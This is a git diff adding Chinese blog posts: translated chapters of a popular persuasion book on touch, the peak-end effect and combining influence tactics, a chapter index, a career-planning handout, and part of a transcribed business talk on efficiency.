+这项研究之所以重要是因为许多原因的。身为消费者，我们应该理解并能够看出哪些因素会影响我们的谈判和决策。但零售商请我们拿起产品摸一摸的时候，它在我们心中的价值就会自动升高。 + +同样，卖家也可以使用这个四两拨千斤的策略，允许潜在客户触摸待售商品，让他们对这样东西产生更亲近的感觉。例如，Paper Mate（比百美）牌的笔在包装上留有开口，就是为了让消费者能摸到它，感觉一下。这不但让潜在顾客体会到笔的质感，还能提升它的价值感。 + +超市和食品店也能从这个提升价值感的触碰策略中获益。有些店铺出于卫生方面的考虑，不愿意让顾客触碰未经包装的散装产品，比如水果、蔬菜、烘陪食品等，这很容易理解。但是，反正他们都得把一定量的破损货品处理掉，所以他们或许应该开设一个“触控体验区”，主动鼓励顾客把东西拿起来看一看，没准还能挣到更多的利润。 + +除了适用于卖笔、桃子和裸麦面包之外，这个微妙却很有说服力的触摸策略还能提升打印材料的价值，当你需要把报告交给经理，或是把提案发给潜在客户的时候，换个做法试试看：把它打印出来再交出去，别发电子版。演讲人、工作坊主持人、公司培训师不要把资料放在学员桌上，而是应该趁他们走进房间的时候亲手分发。为了提升会议赞助商提供的小礼品的价值感，会议和活动的组织者可以事先挑选出一个不错的、合适的时机把它从袋子里掏出来，亲自递给参会人，这样做不仅可以提升它的价值感，也会避免这个小礼物一直被遗忘在袋子底部，无人问津。 + +但是，如果在购买之前没法触摸到商品呢？如今越来越多的人开始在网上买东西，所以可能有许多潜在顾客在收到货品之前不可能有触摸的机会。是不是意味着，除非谷歌发明了一个星际迷航式的传送机，通过网线能就能让顾客在下单前摸到实物，不然你就得放弃这个策略。 + +还真不是。 + +派克和舒在研究中发现，当产品无法被人摸到的时候，另一个截然不同的“两拨千斤”的策略也很有用：只需请顾客在头脑里想象一下摸到它的感觉，就足以强化拥有感，从而提升它的价值。 + +不过，有个例外情况可一定要注意。根据派克和舒的说法，只有当你的产品摸起来比较舒服或不让人感觉难受时候，才能让顾客去摸。 + +卖豪猪的请切记！ diff --git a/_posts/2017-01-24-220-the-small-big-52.md b/_posts/2017-01-24-220-the-small-big-52.md new file mode 100644 index 0000000..1fdcc40 --- /dev/null +++ b/_posts/2017-01-24-220-the-small-big-52.md @@ -0,0 +1,37 @@ +--- +layout: post +title: 52 把最好的留到最后 +pid: 220 +tags: [细节如何轻松影响他人] +--- +第一印象非常重要。但任何一个当红明星或电影导演都会告诉你，结尾也很重要。谈话结束时、生意谈成时，甚至是假期的最后一天——如果你用心对待这些时刻，或是对它们作出微妙的调整，结果就会大不相同，比如顾客的满意度会增高，客户成了忠心耿耿的回头客，或者你再下一次度假时会玩得更加开心。 + +想象如下的场景：你刚去见过医生，做了一次例行的、但很不舒服的诊疗，离开问诊室的时候，有人问你感觉有多疼，你对下一次检查期盼程度有多少。作为对比，现在咱们换一个愉快得多的场景：你刚度完假回来，有人问你有多么开心，又有多么期待下一次旅程。 + +在许多不同的研究中，受试者都被问到过这个问题。如果你和他们中的绝大多数人一样，那你的回答基本上取决于两件事：体验中的巅峰时刻——检查身体时最疼的那一刻，或是度假时最开心的（希望如此）那段时间，还有就是在体验结束时的感受。率先研究这种现象的学者把它命名为“峰——终体验”（）。 + +令人惊讶的是，你在其他时段的感受起到的作用比你预想的少得很多。而且，你对体验的总体评价还会受到“时长忽视”（）现象的影响。这个词的意思是，你不大会注意到某段体验持续了多久，某些情况下，你甚至完全没有注意不到它的时长。 + +诺贝尔获奖者丹尼尔·卡尼曼（）和医学博士唐纳德·雷德米尔（）做了一个经典的实验，他们以非常巧妙的方法证明，患者在经历了一次十分难受的诊疗程序（结肠镜检查）之后，更容易记住痛苦时刻是最不舒服的那一刻。 + +歌星总是把最受欢迎的歌曲放在演出会结束时，就是因为这个峰——终体验。这个效应也能解释，为什么在用餐结束时，服务生的粗鲁态度会把原本十分开心的就餐体验整个毁掉。还记得上礼拜那次无聊的要死的会议吗？当时你觉得它好像永远也不会结束？现在想来，它好像也没那么长，对吧？这就是“时长忽视”在起作用。 + +鉴于我们对某次体验的记忆会受到“峰——终体验”的影响，而且体验时长起到的作用不大，因此，在我们对这段体验形成感受和印象的时候，记忆就像一个不那么完美的向导。但是，不管这个向导有多么不完美，它依然对我们将来的决定造成巨大影响。因此，如果你想跟他人建立更密切的合作关系，希望客户变得更加忠诚，或是只不过想是想获得更好的反馈，虽然自始至终你都应当认真对待这段体验，但你尤其应该做的，是做一些小小的改变，把巅峰时刻的体验尽量放大（或是把低谷尽量抹平），并且把结尾的时的事情认真做好。 + +很多人都爱吃巧克力，并认为瑞士出产的巧克力是世界上最好的，所以，本书作者之一最近在乘坐该国国家航空公司的航班时，很高兴地在登机时领到了一颗瑞士巧克力。这个小小的举动十分聪明，但我们想知道，如果在乘客下飞机而不是上飞机时发巧克力，它的效果会不会更好呢。 + +同样我们注意到有些酒店会给客人送上欢迎礼物，比如文具、名牌沐浴产品，还有一次送过高质量的开瓶器。跟这些礼物放在一起的往往还有值班经理亲手写的便签，预祝客人在酒店过的愉快。酒店管理人员可以琢磨一下这个“四两拨千斤”的策略：能不能在客户客人办理入住时送上个性化的欢迎便签，然后在他们结账退房时送上礼物呢，这样就能两全了。 + +网页设计者也可以运用“峰——终体验”，在网友离开网站时，或是弹出一个漂亮的图片，或是发出一句感谢的话。或者在网上购物结束的时候，给顾客送上一份小惊喜，或是发一张下次可以使用的代金券。护士可以给孩子（我们觉得有些大人也需要）送一颗糖，或是一张小贴纸，奖励他们在种疫苗的时候表现得很勇敢。当然，许多诊所和医疗机构已经这样做了——尽管他们可能并没有意识到背后的原理。 + +关注人们在体验结束时的感受，这不仅适用于像旅行和酒店这种十分明显的交易过程，公共部门也可以借鉴这个方法。例如，当患者刚刚做了一次非常满意（也是很昂贵）的治疗，离开医院的时候，他的良好感觉有可能会被最后一个环节破坏掉——停车时停车的费用特别贵。 + +如果医院能把停车费免掉，甚至是少收点也好，那么患者在离开医院时的最终印象就会是积极正面的，当他们向朋友和邻居谈起这次真就诊经历的时候，莫大的好处就显示出来了。一个更有争议的看法是，如果在刑期就快要结束的那些日子里，犯人的体验是整个服刑期间最难熬的（而不是像常见的情况那样，是最容易过的），那么他们再次犯罪的可能性就有可能降低。 + +由于“时长忽略”现象往往对人的记忆造成很大的影响，销售人员和营销人员可以把惯常的方法改一改：在说服顾客放弃原本使用的产品，选择另一种替代品的时候，在指出原先那个产品会给人带来的最具体麻烦时，与其把重点放在“有问题的产品浪费了您许多时间”上，不如去强调它给客户带来的不便和痛苦有多么严重。 + +明白了“峰——终体验”会如何影响到我们对自己的体验的评估，我们就可以总结出一些“四两拨千斤”的方法。如果你希望他下次度假带回精彩又开心的回忆，那么，与其把预算平均分配给一连串短途观光，还不如把钱花在两件特别有意思的事情上，而且其中要包括旅程末尾时的活动，与其在出行时把积攒的里程数用来升舱，还不如留着回程时候再用，这样你会感到更加开心。 + +商业书的作者也可以用这种方法来提升好评率，让读者更愿意在亚马逊网站上称赞这本书，也更愿意推荐给朋友和同事们看。方法就是格外重视书的结尾，确保给读者留下极其愉快的印象。 + +行文至此，我们已经写到了52章的最后一段，但我们接下来要额外赠送你一章，跟你最爱的章节加在一块儿，你就能切身感受到“峰——终体验”的滋味啦。 diff --git a/_posts/2017-01-24-221-the-small-big-53.md b/_posts/2017-01-24-221-the-small-big-53.md new file mode 100644 index 0000000..e835c7e --- /dev/null +++ b/_posts/2017-01-24-221-the-small-big-53.md @@ -0,0 +1,65 @@ +--- +layout: post +title: 53 额外附赠 +pid: 221 +tags: [细节如何轻松影响他人] +--- +我们写这本书的目的是给你提供一套能够“四两拨千斤”的工具，用来补充你的“说服工具箱”。这些小小的改变都源自说服科学最新研究成果，在说服他人和沟通的过程中，从商界人士到专业的医护人员，从政客到孩子家长，每个人都可以运用它们来获得显著的成效。 + +尽管这52个“四两拨千斤”的工具各不相同，比如背后的心理机制，或是最能发挥作用的情境都不一样，但它们在某些方面是共通的。当你在恰当的情境中，带着负责的心态使用它们的时候，每一条都能大大提升你的影响力。 + +当你用符合伦理的方式，在合适的情形下使用这些单个的策略时，你会得到显著的收效。但这就引发了一个疑问：要是你把这些方法合在一起用呢？比如要么按顺序出招，要么叠加起来？他们可以混用到什么程度？比方说，在影响他人的时候，是不是可以能用上多少，就用上多少，好进一步增强自己的说服力呢？ + +答案是确定的：不可以。你在修理家里面的某个东西时，绝对不会把工具箱里面的工具全都逐个儿用一遍吧。同样，如果同时使用太多说服工具，那你反而更难取得想要的成果。虽然有越来越多的证据表明，某些影响力策略组合起来使用效果很好，但也有证据表明，在某些情境下，不但他们会相互抵消，而且还会导致更糟糕的结果——还不如干脆一个都不用。 + +以下请看两方面的例证： + +请回想第八章中我们的研究：医疗中心的管理者单是请患者们在挂上电话之前，把预约好的下次诊疗时间重复一下，相当于做了一个口头的许诺，爽约人数就减少了。在第二项研究中，我们请患者在提醒好像自行填写下次问诊的细节信息，还不是让前台工作人员代劳，结果得到的更好的收效，爽约率降低了18%。我们还测试了另一个方法。在几个月的时间内，我们把候诊室写着大量爽约人数的牌子换成了更大数字的社会证据：如约参加诊疗人数。这三个“四两拨千斤”的方法合起来用之后，我们发现爽约的比例下降了31.4%。为了证明确实是这几个小小的改变加起来造成了这个这么显著的变化，而不是由于其他无关的原因，我们停止了干预手段，结果爽约人数出现了戏剧的戏剧化的反弹。我们把这三个方法重新一起来用之后，爽约率又平均降低了30%左右。因此，这就说明，把几个小小的改变组合起来，的确会收到更加显著的收效。 + +到目前为止，组合使用的效果看起来还不错。然而，在得意忘形之前，咱们要当心，因为事情并不总是如此。比如行为科学家保罗·多兰（）和罗伯特·梅特卡夫（）主持的一系列精彩研究。他们在实验中发现，把“您家比邻居家的能耗高”的具体情况报告给住户，这个小小的改变能带来显著的节能效果，在后续几个月中，这些家庭的能耗平均下降了6%。 + +他们还发现，如果住户得知，只要把能源节省下来，就能得到100英镑（150美元）的奖金，那么节能的效果也不错。能耗下降的百分比跟上一个例子中差不多。 + +但是，如果把社会规范策略和刺激策略加在一起用，结果会怎样？幸运的是，研究人员考虑到了这个问题，他们在另一组住户哪儿做的实验：这组住户知道自己家的能耗比邻居家多，而且，如果把它们降下来，还能领到100英镑（150美元）的奖金。效果如何？ + +这个方法竟然完全没起作用！ + +乍一看，这根本说不通啊，数学里，1+1等于2，可在这个研究里，1+1不但没有大于一，反而变成了零，简直白忙活一场。这就好比一个很有效的说服策略抵消了另一个同样有效的策略，结果还不如省省力气，什么都不做的好。 + +所以，这是怎么回事呢？为什么有些说服策略可以组合使用，取得更好的效果，而有一些放到一起就不行呢？ + +有三个可能的解释。 + +第一，这几张策略背后的心理动机互不相容。例如，在节约能源的例子中，个人获得的好处［领取研究人员给的100英镑（约150美元）奖金］的动机就与为了共同的利益而做出牺牲（邻居们已经这样做了）的动机相冲突。因此，这两个原本都很有说服力、却相互抵触的动机放在一起的时候，作用就相互抵消了。 + +因此，当你想把几个说服策略组合起来使用的时候，务必确保他们的心理动机是相容的，这样就可以起到互补的作用。 + +第二个原因是，你一次使用的说服工具越多，对方就越不容易在第一时间积极响应。例如，你打算说服老板批准你今天早点下班，那么，比起一封洋洋洒洒写了六段，包含几十条说服方法请假邮件，只有一行字、只用一个说服策略的电子邮件效果更好。原因可能非常简单：她觉得自己没时间把较长的那封信从头读到尾，她可能会把它搁到一边等一会儿再看，结果时间就拖晚了，或者他压根就把这事儿全忘了，因为她的邮箱里塞满了其他紧急的请求（而且那些邮件可能更加简明扼要）。同样，如果“家庭节能报告”（或是其他形式的直邮材料）写得十分冗长，包括那许多说服策略，那么居民大概懒得去看，或者“放到一边，以后再看”（其实再也不会多看一眼了）。 + +为何有些说服策略不能组合使用的第三个原因是，方法用得越多，意图就越明显。有时候，当你把一堆不显眼的小策略放在一起的时候，那种不显山露水的微妙感觉就没有了，说服的意图变得更加露骨，对方就更容易拒绝你。 + +举个例子：丹尼尔·费勒（）、莉·托斯特（）和亚当·格兰特做了一个研究，他们给一所大型公立大学的8000名校友发的电子邮件，问他们是否愿意为母校捐款。有些人收到请求是从“利己”的角度写的，“往届校友表示，给予让他们感觉很好。”另一些人收到请求是从“利他”的角度写的，“给予让你有机会改变学生和教职员工的人生”。最后一组人收到的捐款请求把利己和利他两方面理由多包含在内。比起前两组只看到一个理由的受试者，最后这组人的捐款人数低了一半还多。 + +在上述研究人员做的另一个实验中，受试者拿到的请求是向许愿基金会（）捐款三组人分别看到的两条利己理由、两条利他理由、以及全部四条理由、再一次，看到四条理由的那种受试者捐款的意愿比另外两组低的多。后续调查揭示出十分简单的原因：大家看得出来这些信息的用意——说服他们。看起来，在构思说服他人的措辞时，好像存在一个临界点。越过这个点，多余的理由和论据反而让人更容易抗拒，因此也就大幅削弱了说服的力度。 + +那么，最有说服力的理由数目应该是多少呢？ + +为了回答这个重要的问题，我们来看看行为科学家苏珊娜·舒和库尔特·卡尔森（）的研究。在他俩的研究中，受试者分成6个小组，阅读对5个目标对象的描述：早餐麦片、餐馆、洗发水、冰淇淋店，还有一位政治家。举个例子，洗发水的广告词是这么写的：“假设你正在读一本心爱的杂志，一个新品牌洗发水广告吸引了你的视线。你决定仔细读一下这则广告，看看是否有必要换用这个新产品。广告上说，这款洗发水具备以下特点……” + +省略处分别填写了一个、两个、三个、四个、五个、六个对这款洗发水的积极评价用语，例如，看到第六个好评词语的受试者读到的是：它让秀发变得更加干净、强韧、健康、柔软、亮泽、丰盈。 + +在政治家的宣传词中，看到的六个好评词语的受试者读到的是：诚实、正直、阅历丰富、聪慧、人际交往能力高超，以及为大众服务的强烈意愿。 + +受试者看完广告后，研究人员评估了他们对每个目标产品的或目标人物的喜爱程度。研究人员还测试了受试者对广告词的怀疑程度，目的是找出从哪一点起，人们开始觉得广告里的话不是在告知信息，而是在怂恿购买。 + +结果清楚地表明，读到三个好评词语的受试者对目标对象（无论是早餐麦片还是政治家）的好感显著大于其余受试者。看来，如果好评词语个数在三个之内，个数越多，说服力越大。但是，过了这个临界点，更多说服动作反而会引起猜疑，继而导致对方抗拒整个说服行为。 + +因此，起码在这个例子中，若问“最能给人留下积极印象的理由个数应该是多少”，答案就是三个。 + +或者，就像舒和卡尔森的简洁论断，“事不过三”。 + +这些研究表明，就算你是本着绝对真诚的想法去综合运用这些策略的，大量使用说服方法会让对方“认为”你不够真心实意。 + +在影响他人的想法、感受和行为时，小改变之所以产生大影响，有一个非常基本的原因：因为它们很小。它们不起眼。它们极少引起人们的猜疑和或注意。相反，它们静悄悄地改变我们的决定，影响我们的行为，我们几乎是自动自发地、下意识地跟着走了。让我们开心的是，在这个更大往往等于更好的世界里，我们不仅提供给你一整套符合伦理的影响力工具，而且这些工具看起来如此微不足道，以至于人们几乎察觉不出来。从这个意义上说，在影响力的领域里，四两绝对可以拨动千斤。 + +若想与说服科学家的最新研究保持同步，每月收到我们免费的“Inside Influence Report”（内部影响力报告），请访问：www.INFLUENCEATWORK.com diff --git a/_posts/2017-01-24-222-the-small-big.md b/_posts/2017-01-24-222-the-small-big.md new file mode 100644 index 0000000..2c33409 --- /dev/null +++ b/_posts/2017-01-24-222-the-small-big.md @@ -0,0 +1,63 @@ +--- +layout: post +title: 细节如何轻松影响他人 +pid: 222 +tags: [细节如何轻松影响他人] +--- + +![](/uploads/2017/01/24-01.jpg) + +1. [00 引言(PREFACE)](http://www.baoguoding.com/2016/11/112-the-small-big-00.html) +2. [01 向“大众”借力](http://www.baoguoding.com/2016/11/113-the-small-big-01.html) +3. [02 “小众”的反作用力](http://www.baoguoding.com/2016/11/114-the-small-big-02.html) +4. [03 非常态vs常态](http://www.baoguoding.com/2016/11/115-the-small-big-03.html) +5. [04 强大的环境暗示](http://www.baoguoding.com/2016/11/119-the-small-big-04.html) +6. [05 改个名字,改变一切](http://www.baoguoding.com/2016/11/120-the-small-big-05.html) +7. [06 如何化敌为友](http://www.baoguoding.com/2016/11/121-the-small-big-06.html) +8. [07 预测他人的喜好、渴望与需求](http://www.baoguoding.com/2016/11/122-the-small-big-07.html) +9. [08 主动承诺的力量](http://www.baoguoding.com/2016/11/123-the-small-big-08.html) +10. [09 承诺要行动，要公开](http://www.baoguoding.com/2016/11/125-the-small-big-09.html) +11. [10 “心安理得”效应](http://www.baoguoding.com/2016/12/127-the-small-big-10.html) +12. [11 如何为员工鼓劲儿加油](http://www.baoguoding.com/2016/12/130-the-small-big-11.html) +13. [12 如何避开决策陷阱](http://www.baoguoding.com/2016/12/131-the-small-big-12.html) +14. [13 巧用“执行意向”](http://www.baoguoding.com/2016/12/132-the-small-big-13.html) +15. [14 推迟一会儿会更好](http://www.baoguoding.com/2016/12/133-the-small-big-14.html) +16. [15 为了将来的自己](http://www.baoguoding.com/2016/12/134-the-small-big-15.html) +17. [16 目标设得好，干劲儿会更足](http://www.baoguoding.com/2016/12/137-the-small-big-16.html) +18. [17 损失规避原则](http://www.baoguoding.com/2016/12/138-the-small-big-17.html) +19. [18 如何克服拖延症](http://www.baoguoding.com/2016/12/141-the-small-big-18.html) +20. [19 如何留住顾客跟定你](http://www.baoguoding.com/2016/12/142-the-small-big-19.html) +21. [20 把潜力变成现实](http://www.baoguoding.com/2016/12/143-the-small-big-20.html) +22. [21 把会议开得更高效](http://www.baoguoding.com/2016/12/144-the-small-big-21.html) +23. [22 服装的影响力](http://www.baoguoding.com/2016/12/145-the-small-big-22.html) +24. [23 亮出专家身份](http://www.baoguoding.com/2016/12/147-the-small-big-23.html) +25. [24 不确定的说服力](http://www.baoguoding.com/2016/12/148-the-small-big-24.html) +26. [25 中心位置的影响力](http://www.baoguoding.com/2016/12/149-the-small-big-25.html) +27. [26 如何激发创意](http://www.baoguoding.com/2016/12/150-the-small-big-26.html) +28. [27 主场还是客场](http://www.baoguoding.com/2016/12/151-the-small-big-27.html) +29. [28 如何让自己变得更强大](http://www.baoguoding.com/2016/12/152-the-small-big-28.html) +30. [29 你所需的只是爱](http://www.baoguoding.com/2016/12/154-the-small-big-29.html) +31. [30 完美礼物哪里找](http://www.baoguoding.com/2016/12/155-the-small-big-30.html) +32. [31 为互助留出余地](http://www.baoguoding.com/2016/12/156-the-small-big-31.html) +33. [32 表达感激好处多](http://www.baoguoding.com/2016/12/163-the-small-big-32.html) +34. [33 出乎意料与抛砖引玉](http://www.baoguoding.com/2017/01/167-the-small-big-33.html) +35. [34 如何获得帮助](http://www.baoguoding.com/2017/01/168-the-small-big-34.html) +36. [35 先下手为强](http://www.baoguoding.com/2017/01/169-the-small-big-35.html) +37. [36 报价精确一点儿会更好](http://www.baoguoding.com/2017/01/170-the-small-big-36.html) +38. [37 定价末尾数字有玄机](http://www.baoguoding.com/2017/01/171-the-small-big-37.html) +39. [38 顺序改一改，生意滚滚来](http://www.baoguoding.com/2017/01/172-the-small-big-38.html) +40. [39 如何事半功倍](http://www.baoguoding.com/2017/01/173-the-small-big-39.html) +41. [40 化整为零](http://www.baoguoding.com/2017/01/174-the-small-big-40.html) +42. [41 鲜明生动的细节](http://www.baoguoding.com/2017/01/175-the-small-big-41.html) +43. [42 指出机会成本](http://www.baoguoding.com/2017/01/176-the-small-big-42.html) +44. [43 如何激励他人（还有你自己）完成任务](http://www.baoguoding.com/2017/01/177-the-small-big-43.html) +45. [44 如何提高客户忠诚度](http://www.baoguoding.com/2017/01/178-the-small-big-44.html) +46. [45 如何让一加一大于二](http://www.baoguoding.com/2017/01/179-the-small-big-45.html) +47. [46 退后一步看问题](http://www.baoguoding.com/2017/01/180-the-small-big-46.html) +48. [47 从他人的错误中吸取教训](http://www.baoguoding.com/2017/01/181-the-small-big-47.html) +49. [48 对错误进行管理](http://www.baoguoding.com/2017/01/182-the-small-big-48.html) +50. [49 当天就点评](http://www.baoguoding.com/2017/01/183-the-small-big-49.html) +51. [50 给邮件加点儿料，让谈判更顺畅](http://www.baoguoding.com/2017/01/184-the-small-big-50.html) +52. [51 碰触的魔力](http://www.baoguoding.com/2017/01/219-the-small-big-51.html) +53. [52 把最好的留到最后](http://www.baoguoding.com/2017/01/220-the-small-big-52.html) +54. [53 额外附赠](http://www.baoguoding.com/2017/01/221-the-small-big-53.html) diff --git a/_posts/2017-03-15-224-occupational-planning.md b/_posts/2017-03-15-224-occupational-planning.md new file mode 100644 index 0000000..9b5fc82 --- /dev/null +++ b/_posts/2017-03-15-224-occupational-planning.md @@ -0,0 +1,195 @@ +--- +layout: post +title: 职业规划的资料 +pid: 224 +tags: [岗前培训] +--- + +如何做好职业生涯规划 + +让你的人生充满喜悦！ + +# 一、职业生涯规划的意义 + 1、以既有的成就为基础，确立人生的方向，提供奋斗的策略。 + 2、突破生活的格线，塑造清新充实的自我。 + 3、准确评价个人特点和强项。 + 4、评估个人目标和现状的差距。 + 5、准确定位职业方向。 + 6、重新认识自身的价值并使其增值。 + 7、发现新的职业机遇。 + 8、增强职业竞争力。 + 9、将个人、事业与家庭联系起来。 + +# 二、正确的心理认知 + +## 1、认清人生的价值 + 社会的价值并不被所有的人等同接受 + “人云亦云”并不等于自我的人生价值 + 人生价值包括：经济价值、权力价值、回馈价值、审美价值、理论价值。 + +## 2、超越既有的得失 + 每个人都很努力，但成就并不等同。 + 后悔与抱怨对未来无济于事，自我陶醉则像“龟兔赛跑”中的兔子。 + 人生如运动场上的竞技，当下难以断输赢。 + +## 3、以万变应万变 + + 任何的执着都是一种“阻滞”前途的行为 + 想想“流水”的启示 + “学非所用”是真理 + +# 三、剖析自我的现状 + +## 1、个人部份 + 健康情形：身体是否有病痛？是否有不良的生活习惯？是否有影响健康的活动？生活是否正常？有没有养生之道？ + 自我充实：是否有专长？经常阅读和收集资料吗？是否正在培养其他技能？ + 休闲管理：是否有固定的休闲活动？有助于身心和工作吗？是否有休闲计划？ + +## 2、事业部份 + 财富所得：薪资多少？有储蓄吗？有动产、有价证券吗？有不动产吗？价值多少？有外快吗？ + 社会阶层：现在的职位是什么？还有升迁的机会吗？是否有升迁的准备呢？内外在的人际关系如何？ + 自我实现：喜欢现在的工作吗？理由是什么？有完成人生理想的准备吗？ + +## 3、家庭部份 + 生活品质：居家环境如何？有没有计划换房子？家庭的布置和设备如何？有心灵或精神文化的生活吗？小孩、夫妻、父母有学习计划吗？ + 家庭关系：夫妻和谐吗？是否拥有共同的发展目标？是否有共同或个别的创业计划？父母子女与父母、与公婆、与姑叔、与岳家的关系如何？是否常与家人相处、沟通、活动、旅游？ + 家人健康：家里有小孩吗？小孩多大？健康吗？需要托人照顾吗？配偶的健康如何？家里有老人吗？有需要你照顾的家人吗？ + +# 四、人生发展的环境条件 + 1、友伴条件：朋友要多量化、多样化、且有能力。 + 2、生存条件：要有储蓄、发展基金、不动产。 + 3、配偶条件：个性要相投、社会态度要相同、要有共同的家庭目标。 + 4、行业条件：注意社会当前及未来需要的行业，注意市场占有率。 + 5、企业条件：要稳定，则在大中型企业；要创业，则在小企业。公司有改革计划吗？公司需要什么人才？ + 6、地区条件：视行业和企业而定。 + 7、国家（社会）条件：注意政治、法律、经济（资源、品质）、社会与文化、教育等条件，该社会的特性及潜在的市场条件。 + 8、世界条件：注意全球正在发展的行业，用“世界观”发展事业。 + +# 五、人生成就的三大资源 + +## 1、人脉：家族关系、姻亲关系、同事（同学）关系、社会关系。 + [解决方案]沟通与自我推销 + +## 2、金脉：薪资所得、有价证券、基金、外币、定期存款、财产（动产、不动产）、信用（与为人和职位有关）。 + [解决方案]储蓄、理财有方、夫妻合作、努力工作提高自己的能力条件及职位。 + +## 3、知脉：知识力、技术力、咨讯力、企划力、预测（洞察）力、敏锐力。 + [解决方案]做好时间管理、安排学习计划、上课、听讲座、进修、组织内轮调、多做事、反复练习、经常做笔记、做模拟计划。 + +# 五、组织内部发展生涯的途径 +## 1、生涯甜筒取向 + 1）向内的 + 2）垂直的 + 3）水平的 + +[图表一]生涯甜筒： + +一个组织的三向度模式 + +![](/uploads/2017/03/15-01.png) + +## 2、生涯角色取向 + 1）个人生涯可能承担的专业角色 + 2）生涯发展的七阶段 + +图表二 + +角色主要任务重大心理议题 + +![](/uploads/2017/03/15-02.png) + +## 3、主要职能的开发 + +1）管理人员能力的培养 + +（1）各阶层管理人员必备的素质 + +图表三 各阶层管理人员必备的重要资质 + +![](/uploads/2017/03/15-03.png) + +（2）管理能力的结构与学习 + +图表四 管理能力的结构（模型） + +![](/uploads/2017/03/15-04.png) + + +（3）专门职（技术专才）职能的开发 + +（a）专门知识与广博知识 + +图表五 研究技术人员的知识结构 + +![](/uploads/2017/03/15-05.png) + +（b）有效的专门能力开发方法 + +图表六 有效的专门能力的开发方法 + +![](/uploads/2017/03/15-06.png) + + +## 4、如何晋升高阶 + 始终追随胜利者工作 + 对公司要忠诚，但如果过度的忠诚会危害你的前途，也不妨考虑“骑驴找马”，另找明主。 + 能够如何调和公司整体的利益与员工个人的需求；懂得毅然去做可能不受同事欢迎的决策。 + 如果上述这种决策使某些人受到伤害，要与受害者沟通你的理由。 + 延揽优秀的人才来弥补你在专业知识及技术上的不足。 + 了解其他高级主管的优点及缺点。 + 力求发挥所长，使公司获益。 + +## 5、更换工作的时机 + 如果你在一家公司太早就晋升至高阶，欲更上层楼，则需等待很久的时间时……。 + 由于你最近的成功表现，使你的身价大幅提高时……。 + 如果你觉得你在现职上并未获得充分的重视时……。 + 如果你的公司在竞争中落后，而你又无力促使公司迎头赶上时……。 + 如果公司的改组或变动使你的前程计划受到阻碍时……。 + 如果你有更高的眼界与新的理想时……。 + ★更换工作需当机立断，不要犹豫不决，宁可冒点风险早作改变，也比踌躇不定好，以免错失良机。 + +## 6、如何管理职位与前程 + 1）对自己的雄心、长处及短处有实际的了解。 + 2）不要好高务远。 + 3）尽早规划自己的前程发展计划。 + 4）谨言慎行，不要随便对别人推心置腹。 + 5）小心维护自己的名誉。 + 6）多了解组织中政治手段的运作情形。 + 7）建立个人的情报网，消息要灵通。 + 8）与现在担任你想要争取的职位的人士保持良好的关系。 + 9）参加相关的专业社团或联谊组织。 + 10）建立适当的形象。 + +# 六、设定执行方案 + 1、设定目标的原则：先有大目标，再补充小目标；亦可先有小目标，再定大目标。 + 2、执行计划：人生计划-五年计划-年度计划-月计划-周计划-日计划。 + 3、注意“轻重缓急”的原则。 + 4、实施“时间管理”，不断奋斗。 + 5、每年配合环境变化及既有成就，随时修改。 + + +# 七、生涯描绘 +## 1、自我评价 + 1）我的人生价值是什么？ + 2）我的人格特质是什么？ + 3）我这生最感兴趣的事情是什么？ + 4）我现有的技能和条件有哪些？ + +## 2、自我探索 + 让自己从上述自我评价中找出自己可行的生涯方向。不要受人影响。 + +## 3、锁定特定目标 + 设定一个旨在让自己设定一个值得而且愿意花最多时间去进行的目标。 + +## 4、生涯策略性计划（可行性） + 1）为什么这个目标对我而言是最可能的目标？ + 2）我将如何达成此一特定目标？ + 3）我将分别在何时进行上述每一行动计划？ + 4）有哪些人将会/应当加入此一行动计划？ + 5）对我而言还有什么不能解决的问题呢？ + +# 八、总结：生涯定位 + 1、给自己一个定位 + 2、拟定生涯发展策略 + 3、规划短程可行方案 + 4、检讨与修改 diff --git a/_posts/2017-03-15-225-weizhe.md b/_posts/2017-03-15-225-weizhe.md new file mode 100644 index 0000000..e83d91e --- /dev/null +++ b/_posts/2017-03-15-225-weizhe.md @@ -0,0 +1,562 @@ +--- +layout: post +title: 卫哲：效率提升带来的新机会 +pid: 225 +tags: [mba] +--- + +3月11日，嘉御基金合伙创始人兼董事长卫哲走上混沌研习社讲台，主讲《效率提升带来的新机会》。 + +本文根据卫哲的全部课程内容整理而成。 + +演讲者｜卫哲 + +（嘉御基金合伙创始人兼董事长、前阿里巴巴集团执行副总裁） + +我每年也会出席类似这样场合的演讲，但从来没有像“效率”这个题目这么令我兴奋的。尽管我从来没有讲过。为什么这么兴奋？ + +做投资五年多来，收到无数的BP计划。永远是讲“我规模有多大”、“我今天有多大”、“我未来会做得有多大”，还有“我有多快”。 + +“我有多大”、“我有多快”，是所有商业计划书的主题思想，或者是忽悠投资人的主要方向。但从来没有没有人在BP当中说：我效率有多高——我今天效率有多高；未来随着我多快、多大以后，我的效率有多高。 + +并且，在和创始人见面的时候，凡是被问及到效率问题的，他们很多人都答不上来。他们觉得我们又不是传统行业，传统行业才讲效率，而我们是互联网行业。就好像互联网不需要追求效率，只追求有多大、有多快。 + +恰恰相反，互联网最大的作用就是提升效率。做跟互联网有关的行业，怎么可以反而不讲效率了呢？ + +一个互联网公司没有人均10万美元的利润贡献，就不是真正的互联网公司。大家只看到有多大、发展有多快；而这个大和快的背后，是效率。 + +不要被互联网这层外衣给迷惑了。商业的本质，除了增长以外还有效率。没有效率的增长，不是慢性自杀，而是加速自杀。 + +今天为什么这么多创业公司，能够烧掉这么多钱，什么东西都没有留下。就像当年的恐龙，恐龙真的是吃的多，拉的多；长的快，死的快。地球环境略微一变化，恐龙立即消失。 + +效率的一个最重要的指标就是人效 + +阿里有一支赫赫有名的铁军，叫中供铁军——就是中国供应商地面推广的销售团队，里面走出了滴滴的程维，美团COO阿干、去哪儿的总裁张强等等。 + +这个团队没有人数限制，只有一个指标加一个人一年一百万。 + +那这个产品对阿里集团的净利润率大约在25%到30%，意味着一个人一年为公司赚25万到30万，而他的销售额是一人100万。你只要敢加人，你加吧。意思就是当时是五千人，地面推广团队的时候，就对应着50亿的营业额，12亿五千万的利润。 + +这才像互联网公司的人效——人均效率。这是马云当时给这个团队定的。 + +人效是中供铁军的关键。而中供铁军锻炼出的这些CEO、创始人，能够成功很重要原因，就是死死把握住效率指标。 + +这些公司滴滴也好，美团也好，都是百团大、千车大战中的幸存儿。为什么他们能存活下来？ + +是因为他们比同行拿到的钱更多吗？是因为他们比同行更快吗？都不是。是因为他们和同行相比，尽管也烧钱，但每烧一块钱，获得的效率更高。 + 